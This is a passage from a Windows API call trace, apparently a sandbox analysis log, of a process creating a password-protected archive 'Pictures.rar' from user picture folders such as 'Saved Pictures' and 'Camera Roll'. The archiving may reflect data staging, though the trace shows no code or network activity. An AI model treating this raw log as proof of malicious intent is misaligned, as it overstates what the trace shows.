(Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fb70, Size=0x48) returned 0x28b084f8ee0 [0066.361] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ec890 | out: hHeap=0x28b08430000) returned 1 [0066.361] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f8ee0 | out: hHeap=0x28b08430000) returned 1 [0066.361] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0066.361] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.361] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd5e0*=0) returned 0x216475 [0066.361] SetFilePointer (in: hFile=0x32c, lDistanceToMove=42, lpDistanceToMoveHigh=0xf00f8dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd5b0*=0) returned 0x21649f [0066.361] CryptUnprotectMemory (in: pDataIn=0xf00f8dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dd460) returned 1 [0066.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xf00f8dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0066.361] CryptUnprotectMemory (in: pDataIn=0xf00f8dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dcf40) returned 1 [0066.361] CryptUnprotectMemory (in: pDataIn=0xf00f8dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dcf40) returned 1 [0066.361] CryptUnprotectMemory (in: pDataIn=0xf00f8dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dcf40) returned 1 [0066.362] CryptProtectMemory (in: pDataIn=0x28b084fea1e, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x28b084fea1e) returned 1 [0066.362] SetFilePointer (in: hFile=0x32c, lDistanceToMove=2188405, lpDistanceToMoveHigh=0xf00f8dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xf00f8dd5a0*=0) returned 0x216475 [0066.362] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8d9c80*=0) returned 0x216475 [0066.362] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b084ec890 [0066.362] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fb70 [0066.362] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fc30 [0066.362] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f690 [0066.362] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fc30 | out: hHeap=0x28b08430000) returned 1 [0066.362] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fb70 | out: hHeap=0x28b08430000) returned 1 [0066.362] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084ec890, Size=0x48) returned 0x28b084f9980 [0066.362] WriteFile (in: hFile=0x32c, lpBuffer=0x28b084f9983*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0xf00f8d82c0, lpOverlapped=0x0 | out: lpBuffer=0x28b084f9983*, lpNumberOfBytesWritten=0xf00f8d82c0*=0x2a, lpOverlapped=0x0) returned 1 [0066.362] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f690 | out: hHeap=0x28b08430000) returned 1 [0066.362] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9980 | out: hHeap=0x28b08430000) returned 1 [0066.362] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xf00f8dd5a0*=0) returned 0x21649f [0066.362] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0066.362] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.362] FindFirstFileW (in: lpFileName="Saved Pictures", lpFindFileData=0xf00f8dc410 | out: lpFindFileData=0xf00f8dc410) returned 0x28b0c0ee490 [0066.362] FindClose (in: hFindFile=0x28b0c0ee490 | out: hFindFile=0x28b0c0ee490) returned 1 [0066.362] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764f230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0066.362] GetTickCount () returned 0x267d8 [0066.362] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8dd270, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0066.363] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0066.363] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="adding") returned 6 [0066.363] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0066.363] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="Camera Roll") returned 11 [0066.363] SetWindowTextW (hWnd=0x102c6, lpString="Saved Pictures") returned 1 [0066.363] GetTickCount () returned 0x267d8 [0066.363] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0066.363] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fb70 [0066.363] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fc30 [0066.363] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f690 [0066.363] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b084ec890 [0066.363] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f690 | out: hHeap=0x28b08430000) returned 1 [0066.363] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fc30 | out: hHeap=0x28b08430000) returned 1 [0066.363] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fb70, Size=0x48) returned 0x28b084f9430 [0066.363] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ec890 | out: hHeap=0x28b08430000) returned 1 [0066.363] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9430 | out: hHeap=0x28b08430000) returned 1 [0066.363] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0066.364] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.364] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd5e0*=0) returned 0x21649f [0066.364] SetFilePointer (in: hFile=0x32c, lDistanceToMove=45, lpDistanceToMoveHigh=0xf00f8dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd5b0*=0) returned 0x2164cc [0066.364] CryptUnprotectMemory (in: pDataIn=0xf00f8dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dd460) returned 1 [0066.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xf00f8dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0066.364] CryptUnprotectMemory (in: pDataIn=0xf00f8dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dce40) returned 1 [0066.364] CryptUnprotectMemory (in: pDataIn=0xf00f8dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dcf40) returned 1 [0066.364] CryptUnprotectMemory (in: pDataIn=0xf00f8dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xf00f8dd0c0) returned 1 [0066.364] SetFilePointer (in: hFile=0x32c, lDistanceToMove=2188447, lpDistanceToMoveHigh=0xf00f8dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xf00f8dd5a0*=0) returned 0x21649f [0066.364] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8d9c80*=0) returned 0x21649f [0066.364] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b084ec890 [0066.364] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fb70 [0066.364] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f690 [0066.364] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fc30 [0066.364] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f690 | out: hHeap=0x28b08430000) returned 1 [0066.364] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fb70 | out: hHeap=0x28b08430000) returned 1 [0066.364] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084ec890, Size=0x48) returned 0x28b084f98e0 [0066.364] WriteFile (in: hFile=0x32c, lpBuffer=0x28b084f98e3*, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xf00f8d82c0, lpOverlapped=0x0 | out: lpBuffer=0x28b084f98e3*, lpNumberOfBytesWritten=0xf00f8d82c0*=0x2d, lpOverlapped=0x0) returned 1 [0066.364] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fc30 | out: hHeap=0x28b08430000) returned 1 [0066.364] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f98e0 | out: hHeap=0x28b08430000) returned 1 [0066.364] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xf00f8dd5a0*=0) returned 0x2164cc [0066.364] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0066.364] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.365] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0066.365] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.365] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0ba3ea10 | out: hHeap=0x28b08430000) returned 1 [0066.365] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0bd4e040 | out: hHeap=0x28b08430000) returned 1 [0066.369] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b08527840 | out: hHeap=0x28b08430000) returned 1 [0066.369] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0ba7fa30 | out: hHeap=0x28b08430000) returned 1 [0066.486] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0be51040 | out: hHeap=0x28b08430000) returned 1 [0066.490] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0baffa40 | out: hHeap=0x28b08430000) returned 1 [0066.496] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0bb7fa50 | out: hHeap=0x28b08430000) returned 1 [0066.496] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0bf60080 | out: hHeap=0x28b08430000) returned 1 [0066.499] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0bff1130 | out: hHeap=0x28b08430000) returned 1 [0066.504] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0c36b040 | out: hHeap=0x28b08430000) returned 1 [0066.508] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0bbbfa60 | out: hHeap=0x28b08430000) returned 1 [0066.509] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0bbc7b00 | out: hHeap=0x28b08430000) returned 1 [0066.510] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0bbcfba0 | out: hHeap=0x28b08430000) returned 1 [0066.510] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0bbd7c40 | out: hHeap=0x28b08430000) returned 1 [0066.510] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0c47c040 | out: hHeap=0x28b08430000) returned 1 [0066.521] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=32, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.907] WaitForSingleObject (hHandle=0x354, dwMilliseconds=0xffffffff) returned 0x0 [0066.907] CloseHandle (hObject=0x354) returned 1 [0066.907] WaitForSingleObject (hHandle=0x358, dwMilliseconds=0xffffffff) returned 0x0 [0066.908] CloseHandle (hObject=0x358) returned 1 [0066.908] WaitForSingleObject (hHandle=0x35c, dwMilliseconds=0xffffffff) returned 0x0 [0066.908] CloseHandle (hObject=0x35c) returned 1 [0066.908] WaitForSingleObject (hHandle=0x360, dwMilliseconds=0xffffffff) returned 0x0 [0066.908] CloseHandle (hObject=0x360) returned 1 [0066.908] WaitForSingleObject (hHandle=0x364, dwMilliseconds=0xffffffff) returned 0x0 [0066.908] CloseHandle (hObject=0x364) returned 1 [0066.908] WaitForSingleObject (hHandle=0x368, dwMilliseconds=0xffffffff) returned 0x0 [0066.908] CloseHandle (hObject=0x368) returned 1 [0066.908] WaitForSingleObject (hHandle=0x36c, dwMilliseconds=0xffffffff) returned 0x0 [0066.908] CloseHandle (hObject=0x36c) returned 1 [0066.908] WaitForSingleObject (hHandle=0x370, dwMilliseconds=0xffffffff) returned 0x0 [0066.908] CloseHandle (hObject=0x370) returned 1 [0066.908] WaitForSingleObject (hHandle=0x374, dwMilliseconds=0xffffffff) returned 0x0 [0066.908] CloseHandle (hObject=0x374) returned 1 [0066.908] WaitForSingleObject (hHandle=0x378, dwMilliseconds=0xffffffff) returned 0x0 [0066.908] CloseHandle (hObject=0x378) returned 1 [0066.908] WaitForSingleObject (hHandle=0x37c, dwMilliseconds=0xffffffff) returned 0x0 [0066.908] CloseHandle (hObject=0x37c) returned 1 [0066.908] WaitForSingleObject (hHandle=0x380, dwMilliseconds=0xffffffff) returned 0x0 [0066.908] CloseHandle (hObject=0x380) returned 1 [0066.909] WaitForSingleObject (hHandle=0x384, dwMilliseconds=0xffffffff) returned 0x0 [0066.909] CloseHandle (hObject=0x384) returned 1 [0066.909] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0xffffffff) returned 0x0 [0066.909] CloseHandle (hObject=0x388) returned 1 [0066.909] WaitForSingleObject (hHandle=0x38c, dwMilliseconds=0xffffffff) returned 0x0 [0066.909] CloseHandle (hObject=0x38c) returned 1 [0066.909] WaitForSingleObject (hHandle=0x390, dwMilliseconds=0xffffffff) returned 0x0 [0066.909] CloseHandle (hObject=0x390) returned 1 [0066.909] WaitForSingleObject (hHandle=0x394, dwMilliseconds=0xffffffff) returned 0x0 [0066.909] CloseHandle (hObject=0x394) returned 1 [0066.909] WaitForSingleObject (hHandle=0x398, dwMilliseconds=0xffffffff) returned 0x0 [0066.909] CloseHandle (hObject=0x398) returned 1 [0066.909] WaitForSingleObject (hHandle=0x39c, dwMilliseconds=0xffffffff) returned 0x0 [0066.909] CloseHandle (hObject=0x39c) returned 1 [0066.909] WaitForSingleObject (hHandle=0x3a0, dwMilliseconds=0xffffffff) returned 0x0 [0066.909] CloseHandle (hObject=0x3a0) returned 1 [0066.909] WaitForSingleObject (hHandle=0x3a4, dwMilliseconds=0xffffffff) returned 0x0 [0066.909] CloseHandle (hObject=0x3a4) returned 1 [0066.909] WaitForSingleObject (hHandle=0x3a8, dwMilliseconds=0xffffffff) returned 0x0 [0066.909] CloseHandle (hObject=0x3a8) returned 1 [0066.909] WaitForSingleObject (hHandle=0x3ac, dwMilliseconds=0xffffffff) returned 0x0 [0066.909] CloseHandle (hObject=0x3ac) returned 1 [0066.910] WaitForSingleObject (hHandle=0x3b0, dwMilliseconds=0xffffffff) returned 0x0 [0066.910] CloseHandle (hObject=0x3b0) returned 1 [0066.910] WaitForSingleObject (hHandle=0x3b4, dwMilliseconds=0xffffffff) returned 0x0 [0066.910] CloseHandle (hObject=0x3b4) returned 1 [0066.910] WaitForSingleObject (hHandle=0x3b8, dwMilliseconds=0xffffffff) returned 0x0 [0066.910] CloseHandle (hObject=0x3b8) returned 1 [0066.910] WaitForSingleObject (hHandle=0x3bc, dwMilliseconds=0xffffffff) returned 0x0 [0066.910] CloseHandle (hObject=0x3bc) returned 1 [0066.910] WaitForSingleObject (hHandle=0x3c0, dwMilliseconds=0xffffffff) returned 0x0 [0066.910] CloseHandle (hObject=0x3c0) returned 1 [0066.910] WaitForSingleObject (hHandle=0x3c4, dwMilliseconds=0xffffffff) returned 0x0 [0066.910] CloseHandle (hObject=0x3c4) returned 1 [0066.910] WaitForSingleObject (hHandle=0x3c8, dwMilliseconds=0xffffffff) returned 0x0 [0066.910] CloseHandle (hObject=0x3c8) returned 1 [0066.910] WaitForSingleObject (hHandle=0x3cc, dwMilliseconds=0xffffffff) returned 0x0 [0066.910] CloseHandle (hObject=0x3cc) returned 1 [0066.910] WaitForSingleObject (hHandle=0x3d0, dwMilliseconds=0xffffffff) returned 0x0 [0066.910] CloseHandle (hObject=0x3d0) returned 1 [0066.910] CloseHandle (hObject=0x340) returned 1 [0066.910] CloseHandle (hObject=0x344) returned 1 [0066.910] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b085007e0 | out: hHeap=0x28b08430000) returned 1 [0066.910] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0bc3c040 | out: hHeap=0x28b08430000) returned 1 [0066.914] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0bc006a0 | out: hHeap=0x28b08430000) returned 1 [0066.914] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0c0feed0 | out: hHeap=0x28b08430000) returned 1 [0066.914] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a28edb0 | out: hHeap=0x28b08430000) returned 1 [0066.914] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0c0f6ec0 | out: hHeap=0x28b08430000) returned 1 [0066.916] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b085045e0 | out: hHeap=0x28b08430000) returned 1 [0066.916] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0c0eeeb0 | out: hHeap=0x28b08430000) returned 1 [0066.917] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0bc00510 | out: hHeap=0x28b08430000) returned 1 [0066.917] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0bc19100 | out: hHeap=0x28b08430000) returned 1 [0066.918] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b08504450 | out: hHeap=0x28b08430000) returned 1 [0066.918] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0bc110f0 | out: hHeap=0x28b08430000) returned 1 [0066.918] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a28ec20 | out: hHeap=0x28b08430000) returned 1 [0066.918] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0bc090e0 | out: hHeap=0x28b08430000) returned 1 [0066.918] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0c0d3cc0 | out: hHeap=0x28b08430000) returned 1 [0066.918] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0bc010d0 | out: hHeap=0x28b08430000) returned 1 [0066.919] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a287e20 | out: hHeap=0x28b08430000) returned 1 [0066.919] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a23fe00 | out: hHeap=0x28b08430000) returned 1 [0066.920] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b08519500 | out: hHeap=0x28b08430000) returned 1 [0066.920] ReleaseSemaphore (in: hSemaphore=0x348, lReleaseCount=32, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.920] CloseHandle (hObject=0x348) returned 1 [0066.920] CloseHandle (hObject=0x34c) returned 1 [0066.920] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b08500b40 | out: hHeap=0x28b08430000) returned 1 [0066.921] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a27fe10 | out: hHeap=0x28b08430000) returned 1 [0066.922] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0851f830 | out: hHeap=0x28b08430000) returned 1 [0066.922] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0ba30080 | out: hHeap=0x28b08430000) returned 1 [0066.923] GetTickCount () returned 0x26a0a [0066.923] GetLastError () returned 0x0 [0066.924] SetLastError (dwErrCode=0x0) [0066.924] GetDlgItem (hDlg=0x102be, nIDDlgItem=158) returned 0x102ca [0066.924] GetDlgItem (hDlg=0x102be, nIDDlgItem=153) returned 0x102c8 [0066.924] GetWindowTextW (in: hWnd=0x102c8, lpString=0xf00f8dbd00, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0066.924] SetWindowTextW (hWnd=0x102c8, lpString=" 0%") returned 1 [0066.924] SendMessageW (hWnd=0x102ca, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x64 [0066.925] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd580 | out: lpPerformanceCount=0xf00f8dd580*=15825376402) returned 1 [0066.925] GetTickCount () returned 0x26a0a [0066.925] GetTickCount () returned 0x26a0a [0066.925] GetTickCount () returned 0x26a0a [0066.925] CoCreateInstance (in: rclsid=0x7ff6f75ef5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff6f75ecc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0xf00f8dd138 | out: ppv=0xf00f8dd138*=0x28b0a22fb70) returned 0x0 [0066.925] TaskbarList:ITaskbarList3:SetProgressState (This=0x28b0a22fb70, hwnd=0x102be, tbpFlags=2) returned 0x0 [0066.926] TaskbarList:ITaskbarList3:SetProgressValue (This=0x28b0a22fb70, hwnd=0x102be, ullCompleted=0x2141be, ullTotal=0x2141be) returned 0x0 [0066.926] TaskbarList:IUnknown:Release (This=0x28b0a22fb70) returned 0x0 [0066.926] GetLastError () returned 0x36b7 [0066.926] SetLastError (dwErrCode=0x36b7) [0066.927] GetDlgItem (hDlg=0x102be, nIDDlgItem=157) returned 0x102e0 [0066.927] GetDlgItem (hDlg=0x102be, nIDDlgItem=152) returned 0x102de [0066.927] GetWindowTextW (in: hWnd=0x102de, lpString=0xf00f8dbd00, nMaxCount=2560 | out: lpString=" 87%") returned 5 [0066.927] SetWindowTextW (hWnd=0x102de, lpString=" 100%") returned 1 [0066.927] GetLastError () returned 0x0 [0066.927] SetLastError (dwErrCode=0x0) [0066.927] GetDlgItem (hDlg=0x102be, nIDDlgItem=164) returned 0x102da [0066.927] GetWindowTextW (in: hWnd=0x102da, lpString=0xf00f8dbd00, nMaxCount=2560 | out: lpString=" 98%") returned 5 [0066.927] SetWindowTextW (hWnd=0x102da, lpString=" 100%") returned 1 [0066.928] SendMessageW (hWnd=0x102e0, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x57 [0066.929] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 1 [0066.929] GetMessageW (in: lpMsg=0xf00f8dd5e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd5e0) returned 1 [0066.929] GetFocus () returned 0x102e2 [0066.929] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd5e0) returned 0 [0066.929] GetKeyState (nVirtKey=16) returned 0 [0066.929] TranslateAcceleratorW (hWnd=0x102be, hAccTable=0x1033b, lpMsg=0xf00f8dd5e0) returned 0 [0066.929] TranslateMessage (lpMsg=0xf00f8dd5e0) returned 0 [0066.929] DispatchMessageW (lpMsg=0xf00f8dd5e0) returned 0x7f74 [0066.929] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xf00f8dd5a0*=0) returned 0x2164cc [0066.929] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd5d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd5d0*=0) returned 0x2164cc [0066.929] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fb70 [0066.929] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fb70, Size=0x6b) returned 0x28b084fbc50 [0066.929] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084fbc50, Size=0xa5) returned 0x28b0c100ef0 [0066.929] SetFilePointer (in: hFile=0x32c, lDistanceToMove=8, lpDistanceToMoveHigh=0xf00f8dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xf00f8dd5a0*=0) returned 0x8 [0066.930] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8d9c80*=0) returned 0x8 [0066.930] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fb70 [0066.930] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fc30 [0066.930] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f690 [0066.930] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b084ec890 [0066.930] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f690 | out: hHeap=0x28b08430000) returned 1 [0066.930] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fc30 | out: hHeap=0x28b08430000) returned 1 [0066.930] WriteFile (in: hFile=0x32c, lpBuffer=0x28b0a22fb73*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0xf00f8d82c0, lpOverlapped=0x0 | out: lpBuffer=0x28b0a22fb73*, lpNumberOfBytesWritten=0xf00f8d82c0*=0x11, lpOverlapped=0x0) returned 1 [0066.930] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ec890 | out: hHeap=0x28b08430000) returned 1 [0066.930] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fb70 | out: hHeap=0x28b08430000) returned 1 [0066.930] SetFilePointer (in: hFile=0x32c, lDistanceToMove=2188492, lpDistanceToMoveHigh=0xf00f8dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xf00f8dd5a0*=0) returned 0x2164cc [0066.930] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, 